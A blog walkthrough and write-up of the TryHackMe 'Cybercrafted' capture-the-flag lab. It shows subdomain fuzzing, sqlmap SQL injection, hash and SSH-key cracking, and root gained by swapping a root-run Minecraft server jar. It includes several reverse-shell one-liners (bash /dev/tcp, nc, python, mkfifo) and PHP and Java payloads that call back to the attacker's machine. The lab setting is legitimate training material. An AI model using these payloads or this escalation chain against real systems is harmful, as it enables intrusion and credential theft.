Contents

1

Try Hack Me - Cybercrafted

This one sounds really fun, I love this idea! This is the exact sort of CTF that could be made entertaining to a more general population, if I enjoy this enough maybe this room will be my first video! If I ever do start making videos of CTF’s I’ll certainly start from these write-ups though so of course, as is my tradition I’ll do the write-up and walkthrough.

Walkthrough

How many ports are open?

Execute rustscan against the host with defaults.

What service runs on the highest port

Execute rustscan against the host with defaults, port 25565 will list the answer as it’s service.

Any subdomains?

Attempt to view the root page of the webapp. You’ll be redirected to cybercraft.thm.

Setup a hosts entry for the domain:

echo "<IP> cybercraft.thm" >> /etc/hosts

Visit the page agian, and look at the page source. There is a comment about subdomains being present. This is a hint to us to fuzz for subdomains.

First, make sure you have SecLists from github on your system, it’s the best set of wordlists around that I know of.

cd /usr/share && git clone https://github.com/danielmiessler/SecLists && mv SecLists seclists

Now let’s use wfuzz to search for subdomains:

wfuzz -c -f sub-fighter.txt -Z -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --sc 200,202,204,301,302,307,403 -u 'http://<ip>' -H "Host: FUZZ.cybercrafted.thm"

Look for outliers in the output, there are three.

Hint: You should find this page
4

On what page did you find the vulnerability?

I didn’t use this vulnerability and only found it later… so I’ll just give the answer:
search.php

What is the admin’s username? (Case-sensitive)

To find this, I leveraged sqlmap to find sql injection in the admin login page, dumping the admin username and password hash for me.

First, you need to discover you can access admin.cybercraft.thm by adding the following to /etc/hosts:

<target_ip> admin.cybercrafted.thm

Then, while exploring the new webapp notice there’s a login pane that could be vulnerable to sql. Test it with this:

sqlmap -u admin.cybercrafted.thm/login.php --data="uname=asdf&pwd=asdf"

It should find you a nice Time-based SQL Injection. Add --dump to dump the database :D

sqlmap -u admin.cybercrafted.thm/login.php --data="uname=asdf&pwd=asdf" --dump

This will produce both the Admin’s username, and the Web flag.

What is the web flag?

See previous step, it’s in the database.

Can you get the Minecraft server flag?

The database contained a password hash 88*****c01 which youn can paste into Crack Station. This will provide you a credential pair.

Use the credential pair to login to the web panel - you now have an RCE on the server.

Print the private key from the server with the command cat /home/xxultimatecreeperxx/.ssh/id_rsa. Copy it from the page and put it somewhere on your system.

It’s password encrypted, to decrypt the password you can:
- ssh2john.py id_rsa > id_rsa.hash
- john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

Now you can ssh into the server as xxultimatecreeperxx:

chmod 600 id_rsa
chmod 700 ../<Folder>
ssh [email protected]<target_ip> -i id_rsa
# Enter your cracked password

Once in, explore /opt/minecraft. The flag is there!

What is the name of the sketchy plugin

While exploring /opt/minecraft you should have printed a text file that mentioned a plugin being used. Go look at /opt/minecraft/plugins

User Flag

Check the logs in /opt/minecraft/cybercrafted/plugins/LoginSystem/log.txt.

Once you find cybercrafted’s password, elevate yourself to them with su cybercrafted.

The flag is in their home dir.

Get root

To get root, notice that we can run screen as root:

[email protected]:~$ sudo -l
[sudo] password for cybercrafted: 
Matching Defaults entries for cybercrafted on cybercrafted:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User cybercrafted may run the following commands on cybercrafted:
    (root) /usr/bin/screen -r cybercrafted

Testing the command you’ll notice it’s executing the minecraft CLI. You can discover that we can edit the minecraft CLI, and whenever we quit screen it reboots itself. So, we can write our own Jar file that will create a bash session for us and we’ll get root!

Clone this repo to your local machine.

Edit Main.java to be:

package HelloWorld;
public class Main
{
    public static void main(String[] args)
    {
    try {
	Runtime.getRuntime().exec("/tmp/shell.sh").waitFor();
    } catch (Exception e) {
    }
    }
}

Compile it:

javac HelloWorld/Main.java
jar cfme Main.jar Manifest.txt HelloWorld.Main HelloWorld/Main.class

Host the file on your system:

python -m http.server

On the target machine, create /tmp/shell.sh:

#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP 80 >/tmp/f

Now replace /opt/minecraft/cybercrafted/craftbukkit-1.7.2-server.jar with Main.jar.

Finally, create a listener on your machine:

$ sudo nc -nlvp 80

On the target…

sudo -u root /usr/bin/screen -r cybercrafted

Press ctrl-c to reboot the session…

And back on your listener:
9

You win!

Write-Up

Enumeration

Alright let’s get rolling here! Before I look at the questions let’s get through initial enumeration.

Staring with rustscan of course:

sudo rustscan -a $TARGET
...
PORT      STATE SERVICE   REASON
22/tcp    open  ssh       syn-ack ttl 61
80/tcp    open  http      syn-ack ttl 61
25565/tcp open  minecraft syn-ack ttl 6

As expected, there’s a minecraft server running. I did not though, suspect a webserver active? Perhaps this has something to do with the server being ‘pay to win’ - is it a portal for buying diamonds or something?

Following my playbook next I’ll run Nikto:

nikto --host $TARGET
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.23.199
+ Target Hostname:    10.10.23.199
+ Target Port:        80
+ Start Time:         2021-12-06 23:20:19 (GMT0)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: http://cybercrafted.thm/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.

Interesting, it seems that we’re getting redirected to a domain that isn’t registered. Perhaps I should add a static host mapping for this domain and see if that makes the webserver return something useful at root?

$ echo "10.10.23.199 cybercrafted.thm" >> /etc/hosts
$ curl cybercrafted.thm
...
```html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Cybercrafted</title>
    <link rel="shortcut icon" type="image/png" href="assets/logo.png">
    <style>
        body{
            margin: 0px;
            padding: 0px;
            background-color: #000;
        }

        div{
            position: relative;
        }
        
        img{
            width: 100%;
            height: 100%;
            min-width: 1280px;
            min-height: 720px;
        }
    </style>
</head>
<body>
    <div>
        <img src="assets/index.png">
    </div>
</body>
<!-- A Note to the developers: Just finished up adding other subdomains, now you can work on them! -->
</html>

Rendering the page we see a cute in-development background:
2

Okay awesome, let’s re-run Nikto now that we’re rendering something useful:

nikto --host cybercrafted.thm
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.23.199
+ Target Hostname:    cybercrafted.thm
+ Target Port:        80
+ Start Time:         2021-12-06 23:27:52 (GMT0)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 340, size: 5cbc9dd1b3eb0, mtime: gzip
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD 
+ OSVDB-3268: /secret/: Directory indexing found.
+ OSVDB-3092: /secret/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7786 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2021-12-06 23:41:01 (GMT0) (789 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Let’s checkout what at /secret:
3

The pictures are screenshots from Minecraft - nothing overly interesting unless there’s something embedded in the pictures. We’ll come back to this if we come up dry elsewhere.

The fact that we know the endpoint is filtering the host header could be a hint - let’s try to fuzz for subdomains. It took me a bit of mucking about to get it working, but here’s a wfuzz command that does the trick:

wfuzz -c -f sub-fighter.txt -Z -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --sc 200,202,204,301,302,307,403 -u 'http://cybercrafted.thm' -H "Host: FUZZ.cybercrafted.thm"

We’re simply sending requests to the TLD and replacing the host header with values form the seclist top1million domains. In the output we look for abnormalities for us to check with curl.

The first I found was www, which probably just returns the same webpage but I tested it regardless:

curl -H "Host: www.cybercrafted.thm" cybercrafted.thm 
...
<!-- A Note to the developers: Just finished up adding other subdomains, now you can work on them! -->
...

It did return the same page, but now I actually noticed the hint there about subdomains. This confirms I’m down the right path brute-forcing domains!

The next matched was admin:

$curl -H "Host: admin.cybercrafted.thm" cybercrafted.thm
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Log In</title>
    <link rel="stylesheet" href="assets/login.css">
    <link rel="shortcut icon" type="image/png" href="assets/logo.png">
</head>
<body>
    <div>
        <h1>admin login</h1>
    </div>
    <div class="login">
        <form action="login.php" method="post">
            <h2>Login</h2>
            <div class="textbox">
                <input type="text" placeholder="Username" name="uname">
            </div>
            <div class="textbox">
                <input type="password" placeholder="Password" name="pwd">
            </div>
            <input class="button" type="submit" name="" value="Sign in">
        </form>
    </div>
    <div>
        <img src="assets/logo.png">
    </div>
</body>
</html>

The next was store but it seems blocked by a login or something:

curl -H "Host: store.cybercrafted.thm" cybercrafted.thm
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at store.cybercrafted.thm Port 80</address>
</body></html>

Let’s update /etc/hosts with these and focus on the admin page.
4

What I poked at:
- tried a random login to see if there was any obvious file injection issues
- tried a few sql injection strings

I noticed that the error string was being sent back to the page as a url parameter and then displayed on the page. This could be useful, I sent it to the repeater and tried injecting some PHP:
5

This didn’t really work but this must at least be an XSS vector. It was trivial to confirm that was the case:
6

Hmm, what can I actually do with this though? In the real world I could use this with phishing to gain access. I’ll leave this for now and go poke at the store domain some more.

I took the GET request to the store domain, sent it to the burp repeater and tried some mucking about to get a response:
- Tried changing GET to POST,PUT,TRACE,DELETE
- Unicode and some other crap in the URL
- X-Originating-IP: 127.0.0.1
- X-Forwarded-For: 127.0.0.1
- X-Forwarded: 127.0.0.1

I moved back to the admin login, and decide to run sqlmap:

sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:
---
Parameter: uname (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=asdf' AND (SELECT 9635 FROM (SELECT(SLEEP(5)))fcXK) AND 'YjJe'='YjJe&pwd=asdf
---
[00:52:05] [INFO] the back-end DBMS is MySQL
[00:52:05] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29, PHP
back-end DBMS: MySQL >= 5.0.12
[00:52:05] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/admin.cybercrafted.thm'

[*] ending @ 00:52:05 /2021-12-07/

Apparently we’ve got a blind sql injection vulnerability!

Exploitation

I re-ran with sqldump with --dump to try to dump the database.

...
00:55:54] [INFO] fetching tables for database: 'webapp'
[00:55:54] [INFO] fetching number of tables for database 'webapp'
[00:55:54] [INFO] retrieved: 2
[00:55:57] [INFO] retrieved: admin
[00:56:15] [INFO] retrieved: stock
[00:56:37] [INFO] fetching columns for table 'admin' in database 'webapp'
[00:56:37] [INFO] retrieved: 3
00:56:41] [INFO] retrieved: id
[00:56:49] [INFO] retrieved: user
[00:57:05] [INFO] retrieved: hash
[00:57:22] [INFO] fetching entries for table 'admin' in database 'webapp'
[00:57:22] [INFO] fetching number of entries for table 'admin' in database 'webapp'
[00:57:22] [INFO] retrieved: 2
[00:57:22] [INFO] retrieved: xXUltimateCreeperXx
[00:58:51] [INFO] retrieved: 88b949dd5cdfbecb9f2ecbbfa24e5974234e7c01
[01:03:12] [INFO] retrieved: 1
[01:03:18] [INFO] retrieved: wbeb_flag
[01:04:19] [INFO] retrieved: THM{bbe315.....

Admin password hash is: 88b9******7c01 which I instantly cracked on Crack Station.

The Web flag was also in the database, so that was nice.

I used these admin credentials to login to the admin panel, and it looks like this developer was nice enough to provide us with a free RCE!
7

It doesn’t seem like I can get a reverse shell though… everything I tried seems to fail.

Things I noticed as I poked
- It seems like we can’t get a reverse shell
- ls /home shows two users with home dir: cybercrafted and xxultimatecreeperxx
- I tried to ssh into xxultimatecreeperxx with our password, but no luck
- dir is /var/www/admin
- At /var/www there is admin, html, store and tld
- Within /var/www/store.php there is a search.php file
- We can actually access store.cybercrafted.thm/search.php
- This is probably injectable in some way too - but I think we can safely ignore this for now because we already have an RCE.
- We can read xXUltimateCreeperXx home directory
- I was able to write a php file to /var/www/admin/test.php and render it back in my browser. This can probably actually get me a reverse shell

I created a quick little php reverse shell:

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.6.62.222/80 0>&1'");
?>

I uploaded it with command:

echo "<?php exec(\"/bin/bash -c \"bash -i >& /dev/tcp/10.6.62.222/80 0>&1\"\");" > /var/www/admin/shell.php

But it didn’t work?

I think there’s actually just an issue with symbols and filtering somewhere… I backtracked a little and discovered this payload gets me a reverse shell:

bash -c 'bash -i >& /dev/tcp/10.6.62.222/80 0>&1'

Yay! I get an interactive shell with python3 -c 'import pty; pty.spawn("/bin/bash")'

I look around a bit, and realize that I missed something hilarious…

cat /home/xxultimatecreeperxx/.ssh/id_rsa gives us their private-key…

I write this to my local machine and try to access xxultimatecreeperxx with it, however it is encrypted and we’ll need to crack it first.

We start with ssh2john

ssh2john.py id_rsa > id_rsa.hash

And then try to crack it:

john --wordlist=/usr/share/seclists/Passwords/darkweb2017-top1000.txt id_rsa.hash
... no dice ...
john --wordlist=/usr/share/seclists/Passwords/darkweb2017-top10000.txt id_rsa.hash
... no dice ...
john --wordlist=xato-net-10-million-passwords-10000.txt  id_rsa.hash
... no dice ...
john --wordlist=xato-net-10-million-passwords-100000.txt  id_rsa.hash
... no dice ...
john --wordlist=/usr/share/wordlists/rockyou.txt  id_rsa.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
******      (id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:03 DONE (2021-12-07 02:42) 0.3215g/s 4611Kp/s 4611Kc/s 4611KC/sa6_123..*7¡Vamos!
Session completed

Awesome, CTF authors love the rockyou list - I guess because it ships by default on Kali.

Anyway:

ssh [email protected] -i ./id_rsa
Enter passphrase for key './id_rsa': 
[email protected]:~$ id
uid=1001(xxultimatecreeperxx) gid=1001(xxultimatecreeperxx) groups=1001(xxultimatecreeperxx),25565(minecraft)

It looks like we’re in group minecraft now so I think we should turn our attention there to see if there’s a way to pivot.

[email protected]:~$ cd /opt/minecraft/
[email protected]:/opt/minecraft$ ls -al
total 24
drwxr-x--- 4 cybercrafted minecraft    4096 Jun 27 17:24 .
drwxr-xr-x 3 root         root         4096 Jun 27 15:03 ..
drwxr-x--- 2 cybercrafted cybercrafted 4096 Sep 12 10:43 WorldBackup
drwxr-x--- 7 cybercrafted minecraft    4096 Jun 27 16:53 cybercrafted
-rw-r----- 1 cybercrafted minecraft      38 Jun 27 17:24 minecraft_server_flag.txt
-rw-r----- 1 cybercrafted minecraft     155 Jun 27 16:51 note.txt

[email protected]:/opt/minecraft$ cat note.txt 
Just implemented a new plugin within the server so now non-premium Minecraft accounts can game too! :)
- cybercrafted

P.S
Will remove the whitelist soon.

[email protected]:/opt/minecraft/cybercrafted$ ls
banned-ips.txt      craftbukkit-1.7.2-server.jar  permissions.yml    white-list.txt
banned-players.txt  help.yml                      plugins            world
bukkit.yml          logs                          server-icon.png    world_nether
commands.yml        ops.txt                       server.properties  world_the_end
[email protected]:/opt/minecraft/cybercrafted$ ls plugins/
LoginSystem  LoginSystem_v.2.4.ja

[email protected]:/opt/minecraft/cybercrafted/plugins/LoginSystem$ cat log.txt 

[2021/06/27 11:25:07] [BUKKIT-SERVER] Startet LoginSystem!
[2021/06/27 11:25:16] cybercrafted registered. PW: JavaEdition>Bedrock
[2021/06/27 11:46:30] [BUKKIT-SERVER] Startet LoginSystem!
[2021/06/27 11:47:34] cybercrafted logged in. PW: JavaEdition>Bedrock
[2021/06/27 11:52:13] [BUKKIT-SERVER] Startet LoginSystem!
[2021/06/27 11:57:29] [BUKKIT-SERVER] Startet LoginSystem!
[2021/06/27 11:57:54] cybercrafted logged in. PW: JavaEdition>Bedrock
[2021/06/27 11:58:38] [BUKKIT-SERVER] Startet LoginSystem!
[2021/06/27 11:58:46] cybercrafted logged in. PW: JavaEdition>Bedrock
[2021/06/27 11:58:52] [BUKKIT-SERVER] Startet LoginSystem!
[2021/06/27 11:59:01] madrinch logged in. PW: Password123


[2021/10/15 17:13:45] [BUKKIT-SERVER] Startet LoginSystem!
[2021/10/15 20:36:21] [BUKKIT-SERVER] Startet LoginSystem!
[2021/10/15 21:00:43] [BUKKIT-SERVER] Startet LoginSystem!
[2021/12/07 02:45:13] [BUKKIT-SERVER] Startet LoginSystem!

[email protected]:/opt/minecraft/cybercrafted/plugins/LoginSystem$ su cybercrafted
Password: 
[email protected]:/opt/minecraft/cybercrafted/plugins/LoginSystem$ id
uid=1002(cybercrafted) gid=1002(cybercrafted) groups=1002(cybercrafted)

Okay that was easy!

[email protected]:/opt/minecraft/cybercrafted/plugins/LoginSystem$ cd ~
[email protected]:~$ ls -al
total 32
drwxr-x--- 4 cybercrafted cybercrafted 4096 Sep 12 10:33 .
drwxr-xr-x 4 root         root         4096 Jun 27 17:50 ..
lrwxrwxrwx 1 root         root            9 Sep 12 10:33 .bash_history -> /dev/null
-rwxr-x--- 1 cybercrafted cybercrafted  220 Jun 27 13:33 .bash_logout
-rwxr-x--- 1 cybercrafted cybercrafted 3771 Jun 27 13:33 .bashrc
drwx------ 2 cybercrafted cybercrafted 4096 Sep 12 10:00 .cache
drwx------ 3 cybercrafted cybercrafted 4096 Sep 12 10:00 .gnupg
-rwxr-x--- 1 cybercrafted cybercrafted  807 Jun 27 13:33 .profile
-rw-r----- 1 cybercrafted cybercrafted   38 Jun 27 17:27 user.txt

[email protected]:~$ sudo -l
[sudo] password for cybercrafted: 
Matching Defaults entries for cybercrafted on cybercrafted:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User cybercrafted may run the following commands on cybercrafted:
    (root) /usr/bin/screen -r cybercrafted

screen is within GTFObins - sudo is literally the first thing I checked after getting this user I’m on a roll tonight!

sudo -u root /usr/bin/screen -r cybercrafted

This gives us a session with the minecraft CLI open. I think we need to escape the minecraft CLI to root the system?

8

I poked at this for a while but had no luck, we must need to chain commands and trick sudo in some way.

# Can we write to screen binary?
[email protected]:~$ mv /usr/bin/screen /usr/bin/screenp
mv: cannot move '/usr/bin/screen' to '/usr/bin/screenp': Permission denied
# Can we fuck with the path?
[email protected]:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
[email protected]:~$ touch /usr/local/sbin/screen
touch: cannot touch '/usr/local/sbin/screen': Permission denied

Hmmm…

root      2491  0.0  0.1  30276  3584 ?        Ss   03:05   0:00 /usr/bin/SCREEN -DmS cybercrafted /usr/bin/java -Xmx256m -jar craftbukkit-1.7.2-server.jar nogui

Can I tamper with that .jar file? /opt/minecraft/cybercrafted/craftbukkit-1.7.2-server.jar is writeable by me, but is that the one getting executed? I’ll move it and see what happens when I reboot screen.

[email protected]:/opt/minecraft/cybercrafted$ mv craftbukkit-1.7.2-server.jar craftbukkit-1.7.2-server.jar.backup
[email protected]:/opt/minecraft/cybercrafted$ sudo -u root /usr/bin/screen -r cybercrafted
# ctrl-c to terminate
[screen is terminating]
[email protected]:/opt/minecraft/cybercrafted$ sudo -u root /usr/bin/screen -r cybercrafted
There is no screen to be resumed matching cybercrafted.

Usually something restarts this session, but it didn’t seem to thistime so I think this is my PE to root vector! I’ll move the jar back to test that I didn’t break everything. Within a few seconds of moving it back, screen is back alive.

Alright so I just need a jar file that spawns a bash shell and I have root. I have zero experience with java (after decades of being a developer I’ve somehow avoided Java entirely until this very moment)

Anyway, here’s a reverse shell in java:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.6.62.222/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

I write this to the target and compile it:

$ jar cf shell.jar shell.java

I start a listener on my machine…

$ nc -nlvp 80
listening on [any] 80 ..

And move my shell.jar into the proper filename:

$ mv shell.jar craftbukkit-1.7.2-server.jar

Then I connect with screen and cause it to re-set with ctrl-c, and moments later…. I get no connection.

I should probably test the .jar file in isolation first?

[email protected]:/opt/minecraft/cybercrafted$ /usr/bin/java -Xmx256m -jar shell.jar
no main manifest attribute, in shell.jar

yeah okay, my code is just junk… I did some research, found a ‘hello world’ repo and modified it to my needs. I tested it locally before uploading the compiled jar to the server.

I used this repo but modified Main.java to be:

package HelloWorld;

public class Main
{
    public static void main(String[] args)
    {
       try {
	//System.out.println("Hello world");
        Process p = Runtime.getRuntime().exec("nc -e /bin/bash 10.6.62.222 80");
        p.waitFor();
       } catch ( Exception ex) {
        
       }
    }
}

When I uploaded it and tested though, it didn’t work. Manually running the application also just instantly exited. Maybe it’s compiled with a different version of JDK? I uploaded my whole source folder to the target and compiled there. That didn’t work either…

I finally tried the actual command I’m trying to run on the remote system:

[email protected]:/opt/minecraft/cybercrafted/shell/helloworld$ nc -e /bin/bash 10.6.62.222 80
nc: invalid option -- 'e'
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
	  [-m minttl] [-O length] [-P proxy_username] [-p source_port]
	  [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
	  [-X proxy_protocol] [-x proxy_address[:port]] 	  [destination] [port]

There’s my issue! It’s fucking OpenBSD Netcat! Let’s try python…

python3 -c "import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.6.62.222\",80));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")"

That worked… okay:
- edit java script cmd payload
- Recompile
- Reupload
- Move shell.jar into correct location
- Cause screen to reboot
- Wait…

I tried SO MANY methods here, until eventually I realized there was something going on with sanitzation in JRE. To circumvent I just put my actual shell execution into a .sh file in /tmp and executed that from java…

So here’s what I ended up with:

$ cat /tmp/shell.sh
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.62.222 80 >/tmp/f

Java code:

package HelloWorld;
public class Main
{
    public static void main(String[] args)
    {
    try {
	Runtime.getRuntime().exec("/tmp/shell.sh").waitFor();
    } catch (Exception e) {
    }
    }
}

9

Directory
$ cd content && tree